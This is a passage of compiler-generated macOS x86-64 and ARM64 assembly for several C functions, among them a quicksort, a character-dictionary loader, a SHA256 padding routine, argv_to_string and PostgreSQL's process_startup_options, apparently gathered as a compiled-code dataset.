l_.str: ; @.str .asciz "iiii" .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _my_psort ## -- Begin function my_psort .p2align 4, 0x90 _my_psort: ## @my_psort .cfi_startproc ## %bb.0: ## kill: def $edi killed $edi def $rdi cmpl %esi, %edi jge LBB0_11 ## %bb.1: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r14 pushq %rbx subq $16, %rsp .cfi_offset %rbx, -32 .cfi_offset %r14, -24 movl %esi, %ebx movq _P@GOTPCREL(%rip), %rax movq (%rax), %rcx leal (%rbx,%rdi), %edx sarl %edx movslq %edx, %rsi shlq $4, %rsi movq (%rcx,%rsi), %rdx movq 8(%rcx,%rsi), %r8 movl %edi, %r14d movl %ebx, %esi jmp LBB0_2 .p2align 4, 0x90 LBB0_9: ## in Loop: Header=BB0_2 Depth=1 cmpl %esi, %r14d jg LBB0_10 LBB0_2: ## =>This Loop Header: Depth=1 ## Child Loop BB0_3 Depth 2 movslq %r14d, %r9 shlq $4, %r9 addq %rcx, %r9 movslq %esi, %r10 shlq $4, %r10 jmp LBB0_3 .p2align 4, 0x90 LBB0_6: ## in Loop: Header=BB0_3 Depth=2 decl %esi addq $-16, %r10 LBB0_3: ## Parent Loop BB0_2 Depth=1 ## => This Inner Loop Header: Depth=2 cmpq %rdx, (%rcx,%r10) jg LBB0_6 ## %bb.4: ## in Loop: Header=BB0_3 Depth=2 jne LBB0_7 ## %bb.5: ## in Loop: Header=BB0_3 Depth=2 cmpq %r8, 8(%rcx,%r10) jg LBB0_6 LBB0_7: ## in Loop: Header=BB0_2 Depth=1 cmpl %esi, %r14d jg LBB0_9 ## %bb.8: ## in Loop: Header=BB0_2 Depth=1 addq %r10, %rcx movups (%r9), %xmm0 movaps %xmm0, -32(%rbp) incl %r14d movups (%rcx), %xmm0 movups %xmm0, (%r9) movq (%rax), %rcx decl %esi movaps -32(%rbp), %xmm0 movups %xmm0, (%rcx,%r10) movq (%rax), %rcx jmp LBB0_9 LBB0_11: retq LBB0_10: ## kill: def $edi killed $edi killed $rdi callq _my_psort movl %r14d, %edi movl %ebx, %esi addq $16, %rsp popq %rbx popq %r14 popq %rbp jmp _my_psort ## TAILCALL .cfi_endproc ## -- End function .comm _P,8,3 ## @P .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _my_psort ; -- Begin function my_psort .p2align 2 _my_psort: ; @my_psort .cfi_startproc ; %bb.0: sub sp, sp, #48 stp x20, x19, [sp, #16] ; 16-byte Folded Spill stp x29, x30, [sp, #32] ; 16-byte Folded Spill add x29, sp, #32 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 cmp w0, w1 b.ge LBB0_10 ; %bb.1: Lloh0: adrp x8, _P@GOTPAGE Lloh1: ldr x8, [x8, _P@GOTPAGEOFF] ldr x11, [x8] add w9, w1, w0 asr w9, w9, #1 add x10, x11, w9, sxtw #4 ldp x9, x10, [x10] mov x20, x0 mov x19, x1 ; kill: def $w1 killed $w1 def $x1 b LBB0_3 LBB0_2: ; in Loop: Header=BB0_3 Depth=1 cmp w20, w1 b.gt LBB0_11 LBB0_3: ; =>This Loop Header: Depth=1 ; Child Loop BB0_5 Depth 2 sbfiz x12, x1, #4, #32 b LBB0_5 LBB0_4: ; in Loop: Header=BB0_5 Depth=2 sub w1, w1, #1 sub x12, x12, #16 LBB0_5: ; Parent Loop BB0_3 Depth=1 ; => This Inner Loop Header: Depth=2 ldr x13, [x11, x12] cmp x13, x9 b.gt LBB0_4 ; %bb.6: ; in Loop: Header=BB0_5 Depth=2 b.ne LBB0_8 ; %bb.7: ; in Loop: Header=BB0_5 Depth=2 add x13, x11, x12 ldr x13, [x13, #8] cmp x13, x10 b.gt LBB0_4 LBB0_8: ; in Loop: Header=BB0_3 Depth=1 cmp w20, w1 b.gt LBB0_2 ; %bb.9: ; in Loop: Header=BB0_3 Depth=1 ldr q0, [x11, w20, sxtw #4] str q0, [sp] ldr q0, [x11, x12] str q0, [x11, w20, sxtw #4] add w20, w20, #1 ldr x11, [x8] sub w1, w1, #1 ldr q0, [sp] str q0, [x11, x12] ldr x11, [x8] b LBB0_2 LBB0_10: ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload add sp, sp, #48 ret LBB0_11: ; kill: def $w1 killed $w1 killed $x1 bl _my_psort mov x0, x20 mov x1, x19 ldp x29, x30, [sp, #32] ; 16-byte Folded Reload ldp x20, x19, [sp, #16] ; 16-byte Folded Reload add sp, sp, #48 b _my_psort .loh AdrpLdrGot Lloh0, Lloh1 .cfi_endproc ; -- End function .comm _P,8,3 ; @P .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _load_char_dictionary ## -- Begin function load_char_dictionary .p2align 4, 0x90 _load_char_dictionary: ## @load_char_dictionary .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl $260, %edx ## imm = 0x104 xorl %ecx, %ecx callq _load_index_part movq %rax, %rbx testq %rax, %rax je LBB0_12 ## %bb.1: xorl %edi, %edi cmpl $256, (%rbx) ## imm = 0x100 sete %dil callq _assert xorl %r14d, %r14d .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 movq 8(%rbx), %rax xorl %edi, %edi cmpl $33, (%rax,%r14,4) setb %dil callq _assert incq %r14 cmpq $257, %r14 ## imm = 0x101 jne LBB0_2 ## %bb.3: movl $0, 16(%rbx) xorl %r14d, %r14d movl $1, %r12d xorl %r15d, %r15d jmp LBB0_4 .p2align 4, 0x90 LBB0_10: ## in Loop: Header=BB0_4 Depth=1 incq %r12 cmpq $33, %r12 je LBB0_11 LBB0_4: ## =>This Loop Header: Depth=1 ## Child Loop BB0_7 Depth 2 movq %r14, %rax shrq $32, %rax jne LBB0_6 ## %bb.5: ## in Loop: Header=BB0_4 Depth=1 movl %r12d, 16(%rbx) LBB0_6: ## in Loop: Header=BB0_4 Depth=1 movq 24(%rbx), %rax movq %r14, -8(%rax,%r12,8) movslq %r15d, %rax shlq $2, %rax addq 40(%rbx), %rax movb $32, %cl subb %r12b, %cl movq %r14, %rdx shrq %cl, %rdx shlq $2, %rdx subq %rdx, %rax movq 32(%rbx), %rcx movq %rax, -8(%rcx,%r12,8) movl %r12d, %ecx negb %cl movl $1, %eax shll %cl, %eax movq %rax, -48(%rbp) ## 8-byte Spill xorl %r13d, %r13d jmp LBB0_7 .p2align 4, 0x90 LBB0_9: ## in Loop: Header=BB0_7 Depth=2 incq %r13 cmpq $256, %r13 ## imm = 0x100 je LBB0_10 LBB0_7: ## Parent Loop BB0_4 Depth=1 ## => This Inner Loop Header: Depth=2 movq 8(%rbx), %rax movl (%rax,%r13,4), %eax cmpq %rax, %r12 jne LBB0_9 ## %bb.8: ## in Loop: Header=BB0_7 Depth=2 movq 40(%rbx), %rax movslq %r15d, %rcx incl %r15d movl %r13d, (%rax,%rcx,4) addq -48(%rbp), %r14 ## 8-byte Folded Reload xorl %edi, %edi movabsq $4294967297, %rax ## imm = 0x100000001 cmpq %rax, %r14 setb %dil callq _assert jmp LBB0_9 LBB0_11: movl %r15d, 48(%rbx) movabsq $4294967296, %rax ## imm = 0x100000000 cmpq %rax, %r14 sete %al cmpl $257, %r15d ## imm = 0x101 setl %cl andb %al, %cl testq %r14, %r14 sete %al testl %r15d, %r15d sete %dl andb %al, %dl orb %cl, %dl movzbl %dl, %edi callq _assert LBB0_12: movq %rbx, %rax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .globl _load_char_dictionary ; -- Begin function load_char_dictionary .p2align 2 _load_char_dictionary: ; @load_char_dictionary .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov w2, #260 ; =0x104 mov w3, #0 ; =0x0 bl _load_index_part mov x19, x0 cbz x0, LBB0_12 ; %bb.1: ldr w8, [x19] cmp w8, #256 cset w0, eq bl _assert mov x20, #0 ; =0x0 LBB0_2: ; =>This Inner Loop Header: Depth=1 ldr x8, [x19, #8] ldr w8, [x8, x20] cmp w8, #33 cset w0, lo bl _assert add x20, x20, #4 cmp x20, #1028 b.ne LBB0_2 ; %bb.3: mov x20, #0 ; =0x0 mov w8, #0 ; =0x0 str wzr, [x19, #16] mov w21, #1 ; =0x1 mov w22, #32 ; =0x20 mov x23, #4294967297 ; =0x100000001 mov w24, #1 ; =0x1 b LBB0_5 LBB0_4: ; in Loop: Header=BB0_5 Depth=1 add x24, x24, #1 cmp x24, #33 b.eq LBB0_11 LBB0_5: ; =>This Loop Header: Depth=1 ; Child Loop BB0_9 Depth 2 lsr x9, x20, #32 cbnz x9, LBB0_7 ; %bb.6: ; in Loop: Header=BB0_5 Depth=1 str w24, [x19, #16] LBB0_7: ; in Loop: Header=BB0_5 Depth=1 mov x25, #0 ; =0x0 lsl x9, x24, #3 sub x9, x9, #8 ldp x10, x11, [x19, #24] str x20, [x10, x9] ldr x10, [x19, #40] add x10, x10, w8, sxtw #2 sub x12, x22, x24 lsr x12, x20, x12 sub x10, x10, x12, lsl #2 str x10, [x11, x9] neg x9, x24 lsl w26, w21, w9 b LBB0_9 LBB0_8: ; in Loop: Header=BB0_9 Depth=2 add x25, x25, #1 cmp x25, #256 b.eq LBB0_4 LBB0_9: ; Parent Loop BB0_5 Depth=1 ; => This Inner Loop Header: Depth=2 ldr x9, [x19, #8] ldr w9, [x9, x25, lsl #2] cmp x24, x9 b.ne LBB0_8 ; %bb.10: ; in Loop: Header=BB0_9 Depth=2 ldr x9, [x19, #40] add w27, w8, #1 str w25, [x9, w8, sxtw #2] add x20, x20, x26 cmp x20, x23 cset w0, lo bl _assert mov x8, x27 b LBB0_8 LBB0_11: str w8, [x19, #48] mov x9, #4294967296 ; =0x100000000 cmp x20, x9 mov w9, #257 ; =0x101 ccmp w8, w9, #0, eq cset w9, lt cmp x20, #0 ccmp w8, #0, #0, eq csinc w0, w9, wzr, ne bl _assert LBB0_12: mov x0, x19 ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret .cfi_endproc ; -- End function .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function SHA256 _SHA256: ## @SHA256 .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $536, %rsp ## imm = 0x218 .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rcx, -576(%rbp) ## 8-byte Spill ## kill: def $edx killed $edx def $rdx movq %rsi, %r12 movq %rdi, %r14 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) movl %edx, %r13d orl $63, %r13d movq %rdx, -568(%rbp) ## 8-byte Spill movl %edx, %ebx subl %r13d, %ebx xorl %r15d, %r15d .p2align 4, 0x90 LBB0_1: ## =>This Inner Loop Header: Depth=1 movl %r15d, %eax leaq (%r12,%rax,4), %rsi movq %r14, %rdi callq _SHA256Transform addl $64, %r15d cmpl %ebx, %r15d jbe LBB0_1 ## %bb.2: movl %r15d, %eax movl (%r12,%rax,4), %eax movl %eax, -560(%rbp) movl %r13d, %eax movl $128, -560(%rbp,%rax,4) leal 1(%r13), %eax leal 56(%r13), %r12d cmpl %eax, %r12d jae LBB0_3 .p2align 4, 0x90 LBB0_9: ## =>This Inner Loop Header: Depth=1 leal 1(%r13), %r12d movl $0, -560(%rbp,%r12,4) addl $2, %r13d andl $63, %r13d cmpl $56, %r13d movl %r12d, %r13d jne LBB0_9 jmp LBB0_4 LBB0_3: movl %eax, %eax xorps %xmm0, %xmm0 movaps %xmm0, -560(%rbp,%rax,4) movaps %xmm0, -544(%rbp,%rax,4) leal 9(%r13), %eax movaps %xmm0, -560(%rbp,%rax,4) movaps %xmm0, -544(%rbp,%rax,4) leal 17(%r13), %eax movaps %xmm0, -560(%rbp,%rax,4) movaps %xmm0, -544(%rbp,%rax,4) leal 25(%r13), %eax movaps %xmm0, -560(%rbp,%rax,4) movaps %xmm0, -544(%rbp,%rax,4) leal 33(%r13), %eax movaps %xmm0, -560(%rbp,%rax,4) movaps %xmm0, -544(%rbp,%rax,4) leal 41(%r13), %eax movaps %xmm0, -560(%rbp,%rax,4) movaps %xmm0, -544(%rbp,%rax,4) addl $49, %r13d movaps %xmm0, -560(%rbp,%r13,4) movaps %xmm0, -544(%rbp,%r13,4) LBB0_4: movq -568(%rbp), %rdi ## 8-byte Reload leal (,%rdi,8), %eax leal 5(%r12), %ecx movl %edi, %edx shrl $21, %edx movsbl %dl, %edx leal 6(%r12), %esi movl %edx, -560(%rbp,%rcx,4) shrl $13, %edi movswl %di, %ecx leal 7(%r12), %edx movl %ecx, -560(%rbp,%rsi,4) movl %eax, %ecx sarl $8, %ecx leal 8(%r12), %esi movl %ecx, -560(%rbp,%rdx,4) movl %eax, -560(%rbp,%rsi,4) addl $9, %r12d je LBB0_7 ## %bb.5: xorl %ebx, %ebx .p2align 4, 0x90 LBB0_6: ## =>This Inner Loop Header: Depth=1 movl %ebx, %eax leaq -560(,%rax,4), %rsi addq %rbp, %rsi movq %r14, %rdi callq _SHA256Transform addl $64, %ebx cmpl %r12d, %ebx jb LBB0_6 LBB0_7: movq -576(%rbp), %rdi ## 8-byte Reload callq _ZIO_SET_CHECKSUM movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_10 ## %bb.8: addq $536, %rsp ## imm = 0x218 popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_10: callq ___stack_chk_fail .cfi_endproc ## -- End function .no_dead_strip _SHA256 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function SHA256 _SHA256: ; @SHA256 .cfi_startproc ; %bb.0: stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 sub sp, sp, #528 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 mov x19, x3 mov x21, x2 mov x22, x1 mov x20, x0 mov w24, #0 ; =0x0 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-72] orr w23, w2, #0x3f sub w25, w2, w23 LBB0_1: ; =>This Inner Loop Header: Depth=1 add x1, x22, w24, uxtw #2 mov x0, x20 bl _SHA256Transform add w24, w24, #64 cmp w24, w25 b.ls LBB0_1 ; %bb.2: ldr w8, [x22, w24, uxtw #2] str w8, [sp, #8] add x8, sp, #8 mov w9, #128 ; =0x80 str w9, [x8, w23, uxtw #2] add w9, w23, #1 add w10, w23, #56 cmp w10, w9 b.lo LBB0_4 ; %bb.3: add x9, x8, w9, uxtw #2 movi.2d v0, #0000000000000000 stp q0, q0, [x9] add w10, w23, #49 stp q0, q0, [x9, #32] add w9, w23, #17 add x9, x8, w9, uxtw #2 stp q0, q0, [x9] stp q0, q0, [x9, #32] add w9, w23, #33 add x11, x8, w9, uxtw #2 stp q0, q0, [x11] mov x9, x10 stp q0, q0, [x11, #32] LBB0_4: add w22, w9, #8 LBB0_5: ; =>This Inner Loop Header: Depth=1 sub w9, w22, #8 str wzr, [x8, w9, uxtw #2] sub w9, w22, #7 and w9, w9, #0x3f add w22, w22, #1 cmp w9, #56 b.ne LBB0_5 ; %bb.6: sbfx w8, w21, #21, #8 sub w9, w22, #4 add x23, sp, #8 str w8, [x23, w9, uxtw #2] lsl w8, w21, #3 sub w9, w22, #3 sbfx w10, w21, #13, #16 sub w11, w22, #2 str w10, [x23, w9, uxtw #2] sbfx w9, w21, #5, #24 sub w10, w22, #1 str w9, [x23, w11, uxtw #2] str w8, [x23, w10, uxtw #2] cbz w22, LBB0_9 ; %bb.7: mov w21, #0 ; =0x0 LBB0_8: ; =>This Inner Loop Header: Depth=1 add x1, x23, w21, uxtw #2 mov x0, x20 bl _SHA256Transform add w21, w21, #64 cmp w21, w22 b.lo LBB0_8 LBB0_9: mov x0, x19 bl _ZIO_SET_CHECKSUM ldur x8, [x29, #-72] Lloh3: adrp x9, ___stack_chk_guard@GOTPAGE Lloh4: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh5: ldr x9, [x9] cmp x9, x8 b.ne LBB0_11 ; %bb.10: add sp, sp, #528 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload ldp x26, x25, [sp], #80 ; 16-byte Folded Reload ret LBB0_11: bl ___stack_chk_fail .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .cfi_endproc ; -- End function .no_dead_strip _SHA256 .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function argv_to_string _argv_to_string: ## @argv_to_string .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $24, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, %rbx movq (%rdi), %r13 testq %r13, %r13 movq %rdx, -56(%rbp) ## 8-byte Spill je LBB0_1 ## %bb.2: movq %rdi, %r12 leaq -4(%rdx), %rax movq %rax, -64(%rbp) ## 8-byte Spill movl $1, -44(%rbp) ## 4-byte Folded Spill xorl %r15d, %r15d jmp LBB0_3 .p2align 4, 0x90 LBB0_4: ## in Loop: Header=BB0_3 Depth=1 xorl %edi, %edi cmpq -64(%rbp), %r15 ## 8-byte Folded Reload setb %dil callq _assert leaq (%rbx,%r15), %rdi movl $3, %edx leaq L_.str(%rip), %rsi callq _memcpy addq $3, %r15 LBB0_8: ## in Loop: Header=BB0_3 Depth=1 movq (%r12), %r13 testq %r13, %r13 je LBB0_9 LBB0_3: ## =>This Inner Loop Header: Depth=1 movq %r13, %rdi callq _strlen movq %rax, %r14 movq %r15, %rax subq %r14, %rax addq $8, %rax cmpq -56(%rbp), %rax ## 8-byte Folded Reload jae LBB0_4 ## %bb.5: ## in Loop: Header=BB0_3 Depth=1 cmpl $0, -44(%rbp) ## 4-byte Folded Reload jne LBB0_7 ## %bb.6: ## in Loop: Header=BB0_3 Depth=1 movb $32, -1(%rbx,%r15) LBB0_7: ## in Loop: Header=BB0_3 Depth=1 movb $91, (%rbx,%r15) leaq (%rbx,%r15), %rdi incq %rdi movq %r13, %rsi movq %r14, %rdx callq _memcpy leaq (%r14,%r15), %rax incq %rax addq %r14, %r15 addq $2, %r15 movb $93, (%rbx,%rax) addq $8, %r12 movl $0, -44(%rbp) ## 4-byte Folded Spill jmp LBB0_8 LBB0_1: xorl %r15d, %r15d LBB0_9: xorl %edi, %edi cmpq -56(%rbp), %r15 ## 8-byte Folded Reload setb %dil callq _assert movb $0, (%rbx,%r15) movq %r15, %rax addq $24, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "..." .no_dead_strip _argv_to_string .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function argv_to_string _argv_to_string: ; @argv_to_string .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov x20, x2 mov x19, x1 ldr x24, [x0] cbz x24, LBB0_7 ; %bb.1: mov x21, x0 mov x22, #0 ; =0x0 sub x26, x20, #4 sub x27, x19, #1 mov w28, #1 ; =0x1 b LBB0_3 LBB0_2: ; in Loop: Header=BB0_3 Depth=1 cmp x22, x26 cset w0, lo bl _assert add x0, x19, x22 Lloh0: adrp x1, l_.str@PAGE Lloh1: add x1, x1, l_.str@PAGEOFF mov w2, #3 ; =0x3 bl _memcpy add x22, x22, #3 ldr x24, [x21] cbz x24, LBB0_8 LBB0_3: ; =>This Inner Loop Header: Depth=1 mov x0, x24 bl _strlen sub x8, x22, x0 add x8, x8, #8 cmp x8, x20 b.hs LBB0_2 ; %bb.4: ; in Loop: Header=BB0_3 Depth=1 mov x25, x0 cbnz w28, LBB0_6 ; %bb.5: ; in Loop: Header=BB0_3 Depth=1 mov w8, #32 ; =0x20 strb w8, [x27, x22] LBB0_6: ; in Loop: Header=BB0_3 Depth=1 add x23, x22, #1 mov w8, #91 ; =0x5b strb w8, [x19, x22] add x0, x19, x23 mov x1, x24 mov x2, x25 bl _memcpy mov w28, #0 ; =0x0 add x8, x25, x23 add x22, x8, #1 mov w9, #93 ; =0x5d strb w9, [x19, x8] add x21, x21, #8 ldr x24, [x21] cbnz x24, LBB0_3 b LBB0_8 LBB0_7: mov x22, #0 ; =0x0 LBB0_8: cmp x22, x20 cset w0, lo bl _assert strb wzr, [x19, x22] mov x0, x22 ldp x29, x30, [sp, #80] ; 16-byte Folded Reload ldp x20, x19, [sp, #64] ; 16-byte Folded Reload ldp x22, x21, [sp, #48] ; 16-byte Folded Reload ldp x24, x23, [sp, #32] ; 16-byte Folded Reload ldp x26, x25, [sp, #16] ; 16-byte Folded Reload ldp x28, x27, [sp], #96 ; 16-byte Folded Reload ret .loh AdrpAdd Lloh0, Lloh1 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "..." .no_dead_strip _argv_to_string .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function process_startup_options _process_startup_options: ## @process_startup_options .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rdi, %rbx testl %esi, %esi jne LBB0_1 ## %bb.2: movq _PGC_BACKEND@GOTPCREL(%rip), %rax jmp LBB0_3 LBB0_1: movq _PGC_SU_BACKEND@GOTPCREL(%rip), %rax LBB0_3: movl (%rax), %r12d cmpq $0, 8(%rbx) jne LBB0_5 ## %bb.4: xorl %edi, %edi callq _strlen ## kill: def $eax killed $eax def $rax movl %eax, %ecx incl %ecx shrl $31, %ecx addl %ecx, %eax incl %eax sarl %eax leal 16(,%rax,8), %edi movl %eax, %r14d addl $2, %r14d callq _palloc movq %rax, %r15 movl $-1, -44(%rbp) leaq L_.str(%rip), %rax movq %rax, (%r15) movq 8(%rbx), %rdx leaq -44(%rbp), %rsi movq %r15, %rdi callq _pg_split_opts movslq -44(%rbp), %rax movq $0, (%r15,%rax,8) xorl %edi, %edi cmpl %r14d, %eax setl %dil callq _Assert movl -44(%rbp), %edi movq %r15, %rsi movl %r12d, %edx xorl %ecx, %ecx callq _process_postgres_switches LBB0_5: movl (%rbx), %edi callq _list_head testq %rax, %rax je LBB0_8 ## %bb.6: movq %rax, %r15 .p2align 4, 0x90 LBB0_7: ## =>This Inner Loop Header: Depth=1 movq %r15, %rdi callq _lfirst movl %r12d, %r14d movq %rax, %r12 movl (%rbx), %edi movq %r15, %rsi callq _lnext movq %rax, %r15 movq %rax, %rdi callq _lfirst movq %rax, %r13 movl (%rbx), %edi movq %r15, %rsi callq _lnext movq %rax, %r15 movq _PGC_S_CLIENT@GOTPCREL(%rip), %rax movl (%rax), %ecx movq %r12, %rdi movl %r14d, %r12d movq %r13, %rsi movl %r14d, %edx callq _SetConfigOption testq %r15, %r15 jne LBB0_7 LBB0_8: addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .comm _PGC_SU_BACKEND,4,2 ## @PGC_SU_BACKEND .comm _PGC_BACKEND,4,2 ## @PGC_BACKEND .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "postgres" .comm _PGC_S_CLIENT,4,2 ## @PGC_S_CLIENT .no_dead_strip _process_startup_options .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function process_startup_options _process_startup_options: ; @process_startup_options .cfi_startproc ; %bb.0: sub sp, sp, #80 stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x19, x0 Lloh0: adrp x8, _PGC_SU_BACKEND@GOTPAGE Lloh1: ldr x8, [x8, _PGC_SU_BACKEND@GOTPAGEOFF] Lloh2: adrp x9, _PGC_BACKEND@GOTPAGE Lloh3: ldr x9, [x9, _PGC_BACKEND@GOTPAGEOFF] cmp w1, #0 csel x8, x9, x8, eq ldr w20, [x8] ldr x8, [x0, #8] cbnz x8, LBB0_2 ; %bb.1: mov x0, #0 ; =0x0 bl _strlen add w8, w0, #1 add w8, w8, w8, lsr #31 asr w8, w8, #1 add w22, w8, #2 lsl w0, w22, #3 bl _palloc mov x21, x0 mov w8, #-1 ; =0xffffffff str w8, [sp, #12] Lloh4: adrp x8, l_.str@PAGE Lloh5: add x8, x8, l_.str@PAGEOFF str x8, [x0] ldr x2, [x19, #8] add x1, sp, #12 bl _pg_split_opts ldrsw x8, [sp, #12] str xzr, [x21, x8, lsl #3] cmp w8, w22 cset w0, lt bl _Assert ldr w0, [sp, #12] mov x1, x21 mov x2, x20 mov x3, #0 ; =0x0 bl _process_postgres_switches LBB0_2: ldr w0, [x19] bl _list_head cbz x0, LBB0_5 ; %bb.3: mov x21, x0 Lloh6: adrp x24, _PGC_S_CLIENT@GOTPAGE Lloh7: ldr x24, [x24, _PGC_S_CLIENT@GOTPAGEOFF] LBB0_4: ; =>This Inner Loop Header: Depth=1 mov x0, x21 bl _lfirst mov x22, x0 ldr w0, [x19] mov x1, x21 bl _lnext mov x21, x0 bl _lfirst mov x23, x0 ldr w0, [x19] mov x1, x21 bl _lnext mov 